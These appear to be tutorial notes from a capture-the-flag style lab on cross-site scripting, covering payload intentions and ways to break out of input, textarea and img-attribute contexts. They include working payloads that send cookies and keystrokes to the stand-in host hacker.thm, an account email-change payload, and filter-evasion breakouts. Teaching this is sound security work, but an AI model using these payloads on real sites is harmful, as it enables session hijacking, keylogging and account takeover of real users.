Cross-Site Scripting, is an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users.
Cross-site scripting vulnerabilities are extremely common:
- XSS found in Shopify
- $7,500 for XSS found in Steam chat
- $2,500 for XSS in HackerOne
- XSS found in Infogram
XSS payloads
The XSS payload is the JavaScript code we wish to be executed on the targets computer.
There are two parts to the payload:
- The intention - it's is what you wish the JavaScript to actually do
- The modification - it's the changes to the code we need to make it execute as every scenario is different
Examples of XSS intentions
- Proof of Concept - the simplest of payloads where all you want to do is demonstrate that you can achieve XSS on a website
<script>alert('XSS');</script>
- Stealing user session from Cookies
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
- Key logging
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>
- Targeted at the business logic
- a lot more specific than the examples above
- calling a particular network resource or a JS fn, e.g.
user.changeEmail()
<script>user.changeEmail('attacker@hacker.thm');</script>
Types of XSS
Escaping HTML
Viewing the page source, you can see your name reflected inside the value attribute of the input tag:
Let's say, we have a form that takes a name and renders it inside the input
tag:
<div class="text-center">
<h2>Hello, <input value="Adam" /></h2>
</div>
The JavaScript payload can't run it from inside the input
tag. We need to escape the input
tag first so the payload can run properly. We can do this with the following payload:
"><script>alert('THM');</script>
The important part of the payload is the ">
which closes the value parameter and then closes the input tag.
This now closes the input tag properly and allows the JavaScript payload to run:
<div class="text-center">
<h2>
Hello, <input value="" />
<script>
alert("THM");
</script>
">
</h2>
</div>
In case of textarea
, escaping looks a bit different. We're closing the textarea
tag first:
<!-- payload -->
</textarea><script>alert("THM");</script>
<div class="text-center">
<h2>Hello, <textarea></textarea><script>alert("THM");</script></textarea></h2>
</div>
To get around the filters, we can also take advantage of the additional attributes of the tags, such as the onload
event of an img
tag. onload
executes the code of your choosing once the image specified in the src
attribute has loaded onto the web page:
/images/cat.jpg" onload="alert('THM');`